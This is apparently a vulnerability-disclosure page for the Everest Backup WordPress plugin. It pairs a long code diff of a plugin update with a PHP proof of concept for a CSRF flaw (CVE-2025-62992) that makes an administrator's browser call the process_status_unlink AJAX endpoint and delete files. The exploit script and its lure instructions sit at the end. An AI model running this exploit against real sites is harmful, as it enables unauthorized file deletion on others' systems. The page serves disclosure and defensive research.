+				'display'  => __( 'Daily ( PRO )', 'everest-backup' ),
 			),
 			'everest_backup_weekly'  => array(
-				'interval' => WEEK_IN_SECONDS, // 1 week.
-				'display'  => __( 'Weekly', 'everest-backup' ),
+				'interval' => null, // 1 week.
+				'display'  => __( 'Weekly ( PRO )', 'everest-backup' ),
 			),
 			'everest_backup_monthly' => array(
 				'interval' => MONTH_IN_SECONDS, // 1 month.
@@ -1629,7 +1630,7 @@
 		$configpath = everest_backup_current_request_storage_path( EVEREST_BACKUP_CONFIG_FILENAME );

 		if ( file_exists( $configpath ) ) {
-			$decode = json_decode(file_get_contents( $configpath ), true); // @phpcs:ignore
+			$decode = json_decode(file_get_contents($configpath), true); // @phpcs:ignore

 			if ( ! empty( $decode['Params']['save_to'] ) ) {
 				return $decode['Params']['save_to'];
@@ -1645,8 +1646,8 @@
 	}

 	if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
-		if ( ! empty( $_REQUEST['cloud'] ) ) { // @phpcs:ignore
-			return sanitize_text_field( wp_unslash( $_REQUEST['cloud'] ) ); // @phpcs:ignore
+		if (! empty($_REQUEST['cloud'])) { // @phpcs:ignore
+			return sanitize_text_field(wp_unslash($_REQUEST['cloud'])); // @phpcs:ignore
 		}
 		$schedule_backup_data = everest_backup_get_settings( 'schedule_backup' );
 		return ! empty( $schedule_backup_data['save_to'] ) ? $schedule_backup_data['save_to'] : 'server';
@@ -1663,7 +1664,8 @@
  * @return int|string $key Array key.
  * @since 1.0.0
  */
-function everest_backup_array_search( $array, $field, $values ) { // @phpcs:ignore
+function everest_backup_array_search( $array, $field, $values )
+{ // @phpcs:ignore
 	if ( is_array( $array ) && ! empty( $array ) ) {
 		foreach ( $array as $key => $val ) {
 			if ( ! isset( $val[ $field ] ) ) {
@@ -2166,7 +2168,7 @@
  * @return array body response.
  * @since 1.0.0
  */
-function everest_backup_get_ajax_response( $action ) {
+function everest_backup_get_ajax_response( $action, $skip_auth_check = false ) {
 	if ( ! wp_doing_ajax() ) {
 		return array();
 	}
@@ -2175,17 +2177,19 @@
 		return array();
 	}

-	if ( ! everest_backup_verify_nonce( 'everest_backup_ajax_nonce' ) ) {
-		/* translators: action */
-		$message = sprintf( __( 'Nonce verification failed. Action: "%s"', 'everest-backup' ), esc_html( $action ) );
-		Logs::error( $message );
-		everest_backup_send_error( $message );
-	}
+	if ( ! $skip_auth_check ) {
+		if ( ! everest_backup_verify_nonce( 'everest_backup_ajax_nonce' ) ) {
+			/* translators: action */
+			$message = sprintf( __( 'Nonce verification failed. Action: "%s"', 'everest-backup' ), esc_html( $action ) );
+			Logs::error( $message );
+			everest_backup_send_error( $message );
+		}

-	if ( ! current_user_can( 'manage_options' ) && ! get_transient( 'everest_backup_doing_scheduled_backup' ) ) {
-		$message = __( 'Permission denied.', 'everest-backup' );
-		Logs::error( $message );
-		everest_backup_send_error( $message );
+		if ( ! current_user_can( 'manage_options' ) && ! get_transient( 'everest_backup_doing_scheduled_backup' ) ) {
+			$message = __( 'Permission denied.', 'everest-backup' );
+			Logs::error( $message );
+			everest_backup_send_error( $message );
+		}
 	}

 	/**
@@ -2557,7 +2561,7 @@
 	$htaccess = EVEREST_BACKUP_HTACCESS_PATH;

 	if ( is_file( $htaccess ) ) {
-		return file_get_contents( $htaccess); // @phpcs:ignore
+		return file_get_contents($htaccess); // @phpcs:ignore
 	}
 }

@@ -2625,7 +2629,8 @@
  * @return void
  * @since 1.0.0
  */
-function everest_backup_set_notice( $notice, $type ) { // @phpcs:ignore
+function everest_backup_set_notice( $notice, $type )
+{ // @phpcs:ignore
 	if ( ! session_id() ) {
 		session_start(
 			array(
@@ -2634,7 +2639,7 @@
 		);
 	}

-	$notices                 = isset( $_SESSION['ebwp_notice'] ) ? everest_backup_sanitize_array( $_SESSION['ebwp_notice'] ) : array(); // @phpcs:ignore
+	$notices                 = isset($_SESSION['ebwp_notice']) ? everest_backup_sanitize_array($_SESSION['ebwp_notice']) : array(); // @phpcs:ignore
 	$_SESSION['ebwp_notice'] = compact( 'notice', 'type' );
 }

@@ -2679,11 +2684,11 @@
 			foreach ( $package_locations as $key => $package_location ) {
 				?>
 				<option
-				<?php
-						selected( $selected, $key );
-						disabled( ( false === $package_location['is_active'] ) );
-				?>
-						value="<?php echo esc_attr( $key ); ?>" title="<?php echo esc_attr( $package_location['description'] ); ?>">
+					<?php
+					selected( $selected, $key );
+					disabled( ( false === $package_location['is_active'] ) );
+					?>
+					value="<?php echo esc_attr( $key ); ?>" title="<?php echo esc_attr( $package_location['description'] ); ?>">
 					<?php echo esc_html( $package_location['label'] ); ?> (ℹ)
 				</option>
 				<?php
@@ -3318,12 +3323,12 @@
 			global $wpdb;
 			$header = sprintf(
 				"-- Everest Backup SQL Dumpn" .
-				"--n" .
-				"-- Prefix: %sn" .
-				"-- Host: %sn" .
-				"-- Database: %sn" .
-				"-- Class: %sn" .
-				"--n",
+					"--n" .
+					"-- Prefix: %sn" .
+					"-- Host: %sn" .
+					"-- Database: %sn" .
+					"-- Class: %sn" .
+					"--n",
 				$wpdb->prefix,
 				$wpdb->dbhost,
 				$wpdb->dbname,
--- a/everest-backup/inc/modules/cron/class-cron-actions.php
+++ b/everest-backup/inc/modules/cron/class-cron-actions.php
@@ -567,5 +567,3 @@
 		}
 	}
 }
-
-new Cron_Actions();
--- a/everest-backup/inc/modules/cron/class-cron-handler.php
+++ b/everest-backup/inc/modules/cron/class-cron-handler.php
@@ -51,5 +51,3 @@
 		return $schedules;
 	}
 }
-
-new Cron_Handler();
--- a/everest-backup/inc/modules/database/class-import-database.php
+++ b/everest-backup/inc/modules/database/class-import-database.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Class for handling database import.
  *
@@ -25,6 +26,8 @@
  */
 class Import_Database extends Database {

+
+
 	/**
 	 * List of prefixed tables during export.
 	 *
@@ -72,17 +75,20 @@
 	 *
 	 * @param callable $query_count_cb Query count.
 	 */
-	public function import_table( callable $query_count_cb = null ) {
+	public function import_table( $query_count_cb = null ) {
 		if ( ! file_exists( $this->filename ) ) {
 			return false;
 		}

-		$handle = fopen( $this->filename, 'rb' ); // @phpcs:ignore
+		$handle = fopen($this->filename, 'rb'); // @phpcs:ignore

 		if ( ! is_resource( $handle ) ) {
 			return false;
 		}

+		// Disable foreign key checks to allow dropping tables with foreign key constraints.
+		// $this->query( 'SET FOREIGN_KEY_CHECKS=0' );
+
 		$imported    = false;
 		$queries     = array();
 		$query_count = 1;
@@ -125,7 +131,6 @@

 				$queries = array();
 				$query   = '';
-
 			} else {

 				if ( is_callable( $query_count_cb ) ) {
@@ -147,6 +152,10 @@
 				Logs::error( $this->error_msg() );
 			}
 		}
+
+		// Re-enable foreign key checks after import.
+		// $this->query( 'SET FOREIGN_KEY_CHECKS=1' );
+
 		return $imported;
 	}

@@ -162,12 +171,16 @@

 		$filename = $this->filename;

-		$handle = fopen( $filename, 'r' ); // @phpcs:ignore
+		$handle = fopen($filename, 'r'); // @phpcs:ignore

 		$queries = array();

 		if ( $handle ) {

+			// Disable foreign key checks to allow dropping tables with foreign key constraints.
+			// $this->query( 'SET FOREIGN_KEY_CHECKS=0' );
+			Logs::save_to_activity_log( 'Foreign key checks disabled', false, true );
+
 			Logs::save_to_activity_log( 'Importing database', false, true );

 			$table_count  = 1;
@@ -252,7 +265,11 @@
 				}
 				$sql_line = '';
 			}
-			fclose( $handle ); // @phpcs:ignore
+			fclose($handle); // @phpcs:ignore
+
+			// Re-enable foreign key checks after import.
+			// $this->query( 'SET FOREIGN_KEY_CHECKS=1' );
+			Logs::save_to_activity_log( 'Foreign key checks re-enabled', false, true );
 		}
 		return $imported;
 	}
--- a/everest-backup/inc/modules/migration-clone/class-cloner.php
+++ b/everest-backup/inc/modules/migration-clone/class-cloner.php
@@ -191,11 +191,33 @@
 		$max_upload_size = everest_backup_max_upload_size();

 		if ( $max_upload_size && ( $key_info['size'] >= $max_upload_size ) ) {
+			// if everest-backup-pro is not installed  then show message for installed and activate license.
+			if ( ! function_exists( 'get_plugins' ) ) {
+				require_once ABSPATH . 'wp-admin/includes/plugin.php';
+			}
+
+			$plugins = get_plugins();
+			$message = '';
+			$link    = '';
+
+			if ( ! in_array( 'everest-backup-pro/everest-backup-pro.php', array_keys( $plugins ) ) ) {
+				$message = 'Please install and activate Everest Backup Pro to clone this site.';
+				$link    = '<a href="https://wpeverestbackup.com/pricing"> Get Everest Backup Pro </a>';
+
+			} elseif ( ! is_plugin_active( 'everest-backup-pro/everest-backup-pro.php' ) ) {
+				$message = 'It looks like Everest Backup Pro is already installed. Please activate the plugin and enter your valid license key to continue.';
+				$link    = '<a href="' . admin_url( 'plugins.php' ) . '"> Activate Plugin </a>';
+
+			} else {
+				$message = 'You have to activate your Everest Backup Pro license to clone this site.';
+				$link    = '<a href="' . admin_url( 'admin.php?page=everest-backup-license' ) . '"> Activate License </a>';
+			}

 			return sprintf(
-				/* translators: %s is the link to Everest Backup Unlimited. */
-				__( 'Package size is larger than allowed maximum upload size. Please increase maximum upload size or %s', 'everest-backup' ),
-				'<a href="https://wpeverestbackup.com/unlimited-upload-and-restore">' . __( 'Get Unlimited', 'everest-backup' ) . '</a>'
+				/* translators: %s is the link to Everest Backup Pro. */
+				__( '<span class="eb-text-danger">Restore size limit exceeded.</span> %1$s %2$s', 'everest-backup' ),
+				$message,
+				$link
 			);
 		}

@@ -224,18 +246,18 @@

 		//phpcs:disable
 		$ch = curl_init();
-
+
 		curl_setopt( $ch, CURLOPT_RANGE, '0-1' );
-
+
 		curl_setopt( $ch, CURLOPT_URL, $key_info['url'] );
 		curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
 		curl_setopt( $ch, CURLOPT_TIMEOUT, 5 );
-
+
 		curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
 		curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
-
+
 		curl_exec( $ch );
-
+
 		$http_code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE );
 		//phpcs:enable

--- a/everest-backup/inc/require.php
+++ b/everest-backup/inc/require.php
@@ -115,7 +115,6 @@
 		'inc/modules/cron/class-cron-actions.php',
 		'inc/modules/email/class-send-test-email.php',
 		'inc/modules/email/class-email-logs.php',
-
 		'inc/template-functions.php',

 		/**
--- a/everest-backup/inc/traits/trait-export.php
+++ b/everest-backup/inc/traits/trait-export.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Trait for core export.
  *
@@ -25,6 +26,7 @@
  */
 trait Export {

+
 	private static $LISTFILENAME = 'ebwp-files.ebwplist';

 	private static $REMOVELISTFILENAME = 'ebwp-files-remove.ebwplist';
@@ -49,6 +51,7 @@
 			$procstat = Logs::get_proc_stat();
 			everest_backup_send_json( $procstat );
 		}
+
 		set_transient( 'everest_backup_wp_cli_express', true, 60 );
 	}

--- a/everest-backup/inc/views/addons/listings.php
+++ b/everest-backup/inc/views/addons/listings.php
@@ -75,6 +75,12 @@
 							$wrapper_class[] = "addon-slug-{$addon_slug}";
 							$wrapper_class[] = $is_active ? 'active-addon' : '';
 							$wrapper_class[] = $is_premium ? 'premium-addon' : '';
+
+							// The unlimited addons only showin if EVEREST_BACKUP_PRO_VERSION is less than 1.1.2
+							if ( defined( 'EVEREST_BACKUP_PRO_VERSION' ) && version_compare( EVEREST_BACKUP_PRO_VERSION, '1.1.2', '>=' ) && 'everest-backup-unlimited' === $addon_slug ) {
+								continue;
+							}
+
 							?>
 							<div <?php echo $is_active ? 'title="' . esc_attr__( 'Active', 'everest-backup' ) . '"' : ''; ?> class="<?php echo esc_attr( implode( ' ', $wrapper_class ) ); ?>">

@@ -145,15 +151,15 @@
 										}
 										?>
 									</div>
-					</div>
+								</div>

-										<?php
-										if ( $is_premium ) {
-											?>
-											</a>
-											<?php
-										}
-										?>
+								<?php
+								if ( $is_premium ) {
+									?>
+									</a>
+									<?php
+								}
+								?>
 							</div>
 							<?php
 						}
--- a/everest-backup/inc/views/backup/schedule-backup.php
+++ b/everest-backup/inc/views/backup/schedule-backup.php
@@ -96,7 +96,7 @@
 											<?php
 										} else {
 											?>
-											<option
+											<option
 												<?php isset( $everest_backup_settings['schedule_backup']['cron_cycle'] ) && $everest_backup_settings['schedule_backup']['cron_cycle'] ? selected( $everest_backup_settings['schedule_backup']['cron_cycle'], $everest_backup_cron_cycle_key ) : ''; ?>
 												value="<?php echo esc_attr( $everest_backup_cron_cycle_key ); ?>"><?php echo esc_html( $everest_backup_cron_cycle['display'] ); ?></option>
 											<?php
@@ -110,6 +110,7 @@

 							<input type="time" value="<?php echo ! empty( $everest_backup_settings['schedule_backup']['cron_cycle_time'] ) ? esc_attr( $everest_backup_settings['schedule_backup']['cron_cycle_time'] ) : '00:00'; ?>" name="everest_backup_settings[schedule_backup][cron_cycle_time]">
 						</label>
+
 						<p>
 							<?php esc_html_e( 'Server Time:', 'everest-backup' ); ?>
 							<code><?php echo esc_html( wp_date( 'h:i:s A e' ) ); ?></code>
@@ -180,7 +181,7 @@
 												<?php
 											} else {
 												?>
-												<option
+												<option
 													<?php isset( $everest_backup_settings['schedule_backup']['increment_cycle'] ) && $everest_backup_settings['schedule_backup']['increment_cycle'] ? selected( $everest_backup_settings['schedule_backup']['increment_cycle'], $everest_backup_cron_cycle_key ) : ''; ?>
 													value="<?php echo esc_attr( $everest_backup_cron_cycle_key ); ?>"><?php echo esc_html( $everest_backup_cron_cycle['display'] ); ?></option>
 												<?php
--- a/everest-backup/inc/views/restore.php
+++ b/everest-backup/inc/views/restore.php
@@ -156,7 +156,7 @@

 							<h2><?php esc_html_e( 'Package Information', 'everest-backup' ); ?></h2>

-							<?php if ( ! empty( $args['filename'] ) ) { ?>
+						<?php if ( ! empty( $args['filename'] ) ) { ?>
 								<ul>
 									<li><?php printf( '<strong>%1$s :</strong> %2$s', esc_html__( 'Filename', 'everest-backup' ), esc_html( $args['filename'] ) ); ?></li>
 									<li><?php printf( '<strong>%1$s :</strong> %2$s', esc_html__( 'Created On', 'everest-backup' ), esc_html( wp_date( 'h:i:s A [F j, Y]', $args['time'] ) ) ); ?></li>
@@ -165,10 +165,17 @@

 								<?php
 								if ( $everest_backup_max_upload_size && ( $args['size'] >= $everest_backup_max_upload_size ) ) {
-									?>
-									<p class="notice notice-error"><?php printf( '<strong>%1$s :</strong> %2$s', esc_html__( 'Maximum Upload Size', 'everest-backup' ), esc_html( everest_backup_format_size( $everest_backup_max_upload_size ) ) ); ?></p>
-									<p class="notice notice-error"><strong><?php esc_html_e( 'Rollback denied because package size is larger than allowed maximum upload size.', 'everest-backup' ); ?></strong> <a href="<?php echo esc_url( network_admin_url( 'admin.php?page=everest-backup-addons&cat=Upload+Limit' ) ); ?>"><?php esc_html_e( 'View Available Addons', 'everest-backup' ); ?></a></p>
-									<?php
+									if ( is_plugin_active( 'everest-backup-pro/everest-backup-pro.php' ) ) {
+										?>
+											<p class="notice notice-error"><?php printf( '<strong>%1$s :</strong> %2$s', esc_html__( 'Maximum Upload Size', 'everest-backup' ), esc_html( everest_backup_format_size( $everest_backup_max_upload_size ) ) ); ?></p>
+											<p class="notice notice-error"><strong><?php esc_html_e( 'Rollback denied because package size is larger than allowed maximum upload size.', 'everest-backup' ); ?></strong> <a href="<?php echo esc_url( network_admin_url( 'admin.php?page=everest-backup-license' ) ); ?>"><?php esc_html_e( 'Activate Your License', 'everest-backup' ); ?></a></p>
+										<?php
+									} else {
+										?>
+											<p class="notice notice-error"><?php printf( '<strong>%1$s :</strong> %2$s', esc_html__( 'Maximum Upload Size', 'everest-backup' ), esc_html( everest_backup_format_size( $everest_backup_max_upload_size ) ) ); ?></p>
+											<p class="notice notice-error"><strong><?php esc_html_e( 'Rollback denied because package size is larger than allowed maximum upload size.', 'everest-backup' ); ?></strong> <a href="<?php echo esc_url( network_admin_url( 'admin.php?page=everest-backup-addons&cat=Everest+Backup+Pro' ) ); ?>"><?php esc_html_e( 'View Available Addons', 'everest-backup' ); ?></a></p>
+										<?php
+									}
 								} else {
 									if ( ! empty( $args['path'] ) ) {
 										$archiver            = new Archiver_V2( $args['path'] );
@@ -182,10 +189,10 @@
 											?>
 											<p class="notice notice-error">
 												<strong>
-													<?php esc_html_e( "This backup uses PHP v$zip_php_version, but your site is running v$current_php_version. Restoring could cause problems. For a smooth restore, we recommend using the same PHP version for both your backup and your website. Proceed with caution!", 'everest-backup' ); ?>
+												<?php esc_html_e( "This backup uses PHP v$zip_php_version, but your site is running v$current_php_version. Restoring could cause problems. For a smooth restore, we recommend using the same PHP version for both your backup and your website. Proceed with caution!", 'everest-backup' ); ?>
 												</strong>
 											</p>
-											<?php
+												<?php
 										}
 									}
 									if ( empty( $args['rollback'] ) ) {
@@ -203,7 +210,7 @@
 												<button class="button-secondary" id="btn-rollback" type="submit"><?php esc_html_e( 'Rollback', 'everest-backup' ); ?></button>
 											</form>
 										</div>
-										<?php
+											<?php
 									}
 								}
 								?>
@@ -214,7 +221,7 @@
 							<?php } ?>
 						</div>

-						<?php
+								<?php
 					} elseif ( everest_backup_doing_increment_rollback() ) {
 						$response  = everest_backup_get_submitted_data( 'get', true );
 						$transient = new Transient( $response['cloud'] . '_folder_contents' );
@@ -249,7 +256,7 @@
 								</form>
 							</div>
 						</div>
-						<?php
+							<?php
 					} else {
 						$everest_backup_restore_tab->display();
 					}
--- a/everest-backup/inc/views/restore/upload-file.php
+++ b/everest-backup/inc/views/restore/upload-file.php
@@ -12,6 +12,28 @@
 	exit;
 }

+if ( ! function_exists( 'get_plugins' ) ) {
+	require_once ABSPATH . 'wp-admin/includes/plugin.php';
+}
+
+$plugins = get_plugins();
+$message = '';
+$link    = '';
+
+if ( ! in_array( 'everest-backup-pro/everest-backup-pro.php', array_keys( $plugins ) ) ) {
+	$message = 'To bypass your server upload limit, install the Lightupload addon or upgrade to Everest Backup Pro.';
+	$link    = '<a href="' . admin_url( 'admin.php?page=everest-backup-addons&cat=Upload+Limit' ) . '">Install Lightupload Addon</a> or <a href="https://wpeverestbackup.com/pricing">Get Everest Backup Pro</a>';
+
+} elseif ( ! is_plugin_active( 'everest-backup-pro/everest-backup-pro.php' ) ) {
+	$message = 'Everest Backup Pro is installed but not active. Please activate the plugin and enter your valid license key to bypass your server upload limit.';
+	$link    = '<a href="' . admin_url( 'plugins.php' ) . '">Activate Plugin</a>';
+
+} else {
+	$message = 'Your Everest Backup Pro license is not active. Please activate your license to bypass your server upload limit.';
+	$link    = '<a href="' . admin_url( 'admin.php?page=everest-backup-license' ) . '">Activate License</a>';
+}
+
+
 ?>

 <div class="restore-container">
@@ -39,12 +61,14 @@
 	</div>

 	<h2><?php echo esc_html__( 'Maximum upload size:', 'everest-backup' ) . ' ' . esc_html( $args['max_upload_size'] ); ?></h2>
+
 	<?php
-	if ( ! defined( 'EVEREST_BACKUP_UNLIMITED_FILE' ) ) {
+	if ( ! defined( 'EVEREST_BACKUP_UNLIMITED_FILE' ) && ! everest_backup_pro_active() ) {
 		?>
-		<h4 style="color: green;"><?php esc_html_e( 'Got limited upload size?', 'everest-backup' ); ?> <a href="<?php echo esc_url( network_admin_url( 'admin.php?page=everest-backup-addons&cat=Upload+Limit' ) ); ?>"><?php esc_html_e( 'View Available Addons', 'everest-backup' ); ?></a></h4>
+		<h4 style="color: green;"><?php esc_html_e( $message, 'everest-backup' ); ?>
+		<?php echo $link; ?>
+		</h4>
 		<?php
 	}
 	?>
-
 </div>
--- a/everest-backup/vendor/composer/installed.php
+++ b/everest-backup/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'everest-backup/everest-backup',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => '1704838e12caa6e873ee79d032eaa428533eea10',
+        'reference' => '9721a9c380f8973b4314f6a3635d1dc3500ba7bc',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'everest-backup/everest-backup' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => '1704838e12caa6e873ee79d032eaa428533eea10',
+            'reference' => '9721a9c380f8973b4314f6a3635d1dc3500ba7bc',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -22,7 +22,7 @@
         'nelexa/zip' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '330c724ce6980a7ae0e00e0e7072893282644c6f',
+            'reference' => 'd25c2ab6b993157f18bc88a753a864ce23213f60',
             'type' => 'library',
             'install_path' => __DIR__ . '/../nelexa/zip',
             'aliases' => array(
@@ -40,9 +40,9 @@
             'dev_requirement' => false,
         ),
         'symfony/finder' => array(
-            'pretty_version' => 'v7.3.5',
-            'version' => '7.3.5.0',
-            'reference' => '9f696d2f1e340484b4683f7853b273abff94421f',
+            'pretty_version' => 'v8.0.6',
+            'version' => '8.0.6.0',
+            'reference' => '441404f09a54de6d1bd6ad219e088cdf4c91f97c',
             'type' => 'library',
             'install_path' => __DIR__ . '/../symfony/finder',
             'aliases' => array(),
--- a/everest-backup/vendor/composer/platform_check.php
+++ b/everest-backup/vendor/composer/platform_check.php
@@ -4,8 +4,8 @@

 $issues = array();

-if (!(PHP_VERSION_ID >= 80200)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 8.2.0". You are running ' . PHP_VERSION . '.';
+if (!(PHP_VERSION_ID >= 80400)) {
+    $issues[] = 'Your Composer dependencies require a PHP version ">= 8.4.0". You are running ' . PHP_VERSION . '.';
 }

 if ($issues) {
--- a/everest-backup/vendor/symfony/finder/Comparator/Comparator.php
+++ b/everest-backup/vendor/symfony/finder/Comparator/Comparator.php
@@ -22,7 +22,7 @@
         private string $target,
         string $operator = '==',
     ) {
-        if (!in_array($operator, ['>', '<', '>=', '<=', '==', '!='])) {
+        if (!in_array($operator, ['>', '<', '>=', '<=', '==', '!='], true)) {
             throw new InvalidArgumentException(sprintf('Invalid operator "%s".', $operator));
         }

--- a/everest-backup/vendor/symfony/finder/Finder.php
+++ b/everest-backup/vendor/symfony/finder/Finder.php
@@ -37,7 +37,7 @@
  *
  * @author Fabien Potencier <fabien@symfony.com>
  *
- * @implements IteratorAggregate<string, SplFileInfo>
+ * @implements IteratorAggregate<non-empty-string, SplFileInfo>
  */
 class Finder implements IteratorAggregate, Countable
 {
@@ -57,8 +57,10 @@
     private bool $reverseSorting = false;
     private Closure|int|false $sort = false;
     private int $ignore = 0;
+    /** @var list<string> */
     private array $dirs = [];
     private array $dates = [];
+    /** @var list<iterable<SplFileInfo|SplFileInfo|string>> */
     private array $iterators = [];
     private array $contains = [];
     private array $notContains = [];
@@ -657,33 +659,39 @@
      *
      * This method implements the IteratorAggregate interface.
      *
-     * @return Iterator<string, SplFileInfo>
+     * @return Iterator<non-empty-string, SplFileInfo>
      *
      * @throws LogicException if the in() method has not been called
      */
     public function getIterator(): Iterator
     {
-        if (0 === count($this->dirs) && 0 === count($this->iterators)) {
+        if (!$this->dirs && !$this->iterators) {
             throw new LogicException('You must call one of in() or append() methods before iterating over a Finder.');
         }

-        if (1 === count($this->dirs) && 0 === count($this->iterators)) {
+        if (1 === count($this->dirs) && !$this->iterators) {
             $iterator = $this->searchInDirectory($this->dirs[0]);
-
-            if ($this->sort || $this->reverseSorting) {
-                $iterator = (new SortableIterator($iterator, $this->sort, $this->reverseSorting))->getIterator();
+        } else {
+            $iterator = new AppendIterator();
+            foreach ($this->dirs as $dir) {
+                $iterator->append(new IteratorIterator(new LazyIterator(fn () => $this->searchInDirectory($dir))));
             }

-            return $iterator;
-        }
-
-        $iterator = new AppendIterator();
-        foreach ($this->dirs as $dir) {
-            $iterator->append(new IteratorIterator(new LazyIterator(fn () => $this->searchInDirectory($dir))));
-        }
-
-        foreach ($this->iterators as $it) {
-            $iterator->append($it);
+            foreach ($this->iterators as $it) {
+                $iterator->append(new IteratorIterator(new LazyIterator(static function () use ($it) {
+                    foreach ($it as $file) {
+                        if (!$file instanceof SplFileInfo) {
+                            $file = new SplFileInfo($file);
+                        }
+                        $key = $file->getPathname();
+                        if (!$file instanceof SplFileInfo) {
+                            $file = new SplFileInfo($key, $file->getPath(), $key);
+                        }
+
+                        yield $key => $file;
+                    }
+                })));
+            }
         }

         if ($this->sort || $this->reverseSorting) {
@@ -698,22 +706,13 @@
      *
      * The set can be another Finder, an Iterator, an IteratorAggregate, or even a plain array.
      *
+     * @param iterable<SplFileInfo|SplFileInfo|string> $iterator
+     *
      * @return $this
      */
     public function append(iterable $iterator): static
     {
-        if ($iterator instanceof IteratorAggregate) {
-            $this->iterators[] = $iterator->getIterator();
-        } elseif ($iterator instanceof Iterator) {
-            $this->iterators[] = $iterator;
-        } else {
-            $it = new ArrayIterator();
-            foreach ($iterator as $file) {
-                $file = $file instanceof SplFileInfo ? $file : new SplFileInfo($file);
-                $it[$file->getPathname()] = $file;
-            }
-            $this->iterators[] = $it;
-        }
+        $this->iterators[] = $iterator;

         return $this;
     }
--- a/everest-backup/vendor/symfony/finder/Glob.php
+++ b/everest-backup/vendor/symfony/finder/Glob.php
@@ -44,6 +44,9 @@
         $escaping = false;
         $inCurlies = 0;
         $regex = '';
+        if ($unanchored = str_starts_with($glob, '**/')) {
+            $glob = '/'.$glob;
+        }
         $sizeGlob = strlen($glob);
         for ($i = 0; $i < $sizeGlob; ++$i) {
             $car = $glob[$i];
@@ -104,6 +107,10 @@
             $escaping = false;
         }

+        if ($unanchored) {
+            $regex = substr_replace($regex, '?', 1 + ('/' === $delimiter) + ($strictLeadingDot ? strlen('(?=[^.])') : 0), 0);
+        }
+
         return $delimiter.'^'.$regex.'$'.$delimiter;
     }
 }
--- a/everest-backup/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php
+++ b/everest-backup/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php
@@ -72,12 +72,12 @@
      */
     public function accept(): bool
     {
-        if ($this->isRecursive && isset($this->excludedDirs[$this->getFilename()]) && $this->isDir()) {
+        if ($this->isRecursive && isset($this->excludedDirs[$this->current()->getFilename()]) && $this->current()->isDir()) {
             return false;
         }

         if ($this->excludedPattern) {
-            $path = $this->isDir() ? $this->current()->getRelativePathname() : $this->current()->getRelativePath();
+            $path = $this->current()->isDir() ? $this->current()->getRelativePathname() : $this->current()->getRelativePath();
             $path = str_replace('\', '/', $path);

             return !preg_match($this->excludedPattern, $path);
--- a/everest-backup/vendor/symfony/finder/Iterator/SortableIterator.php
+++ b/everest-backup/vendor/symfony/finder/Iterator/SortableIterator.php
@@ -87,17 +87,29 @@
     public function getIterator(): Traversable
     {
         if (1 === $this->sort) {
-            return $this->iterator;
+            yield from $this->iterator;
+
+            return;
         }

-        $array = iterator_to_array($this->iterator, true);
+        $keys = $values = [];
+        foreach ($this->iterator as $key => $value) {
+            $keys[] = $key;
+            $values[] = $value;
+        }

         if (-1 === $this->sort) {
-            $array = array_reverse($array);
-        } else {
-            uasort($array, $this->sort);
+            for ($i = count($values) - 1; $i >= 0; --$i) {
+                yield $keys[$i] => $values[$i];
+            }
+
+            return;
         }

-        return new ArrayIterator($array);
+        uasort($values, $this->sort);
+
+        foreach ($values as $i => $v) {
+            yield $keys[$i] => $v;
+        }
     }
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62992 - Everest Backup <= 2.3.9 - Cross-Site Request Forgery

<?php
/**
 * Proof of Concept for CVE-2025-62992
 * CSRF in Everest Backup plugin <= 2.3.9
 * Targets: process_status_unlink AJAX endpoint
 *
 * Usage: Place this script on attacker-controlled server
 *        Send link to logged-in WordPress administrator
 *        When visited, triggers unauthorized file deletion
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';

// CSRF payload targeting the vulnerable endpoint
$post_data = array(
    'action' => 'everest_backup_process_status_unlink'
    // Note: No nonce parameter required in vulnerable version
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Set headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: */*',
    'Accept-Language: en-US,en;q=0.5',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
));

// Execute the CSRF attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

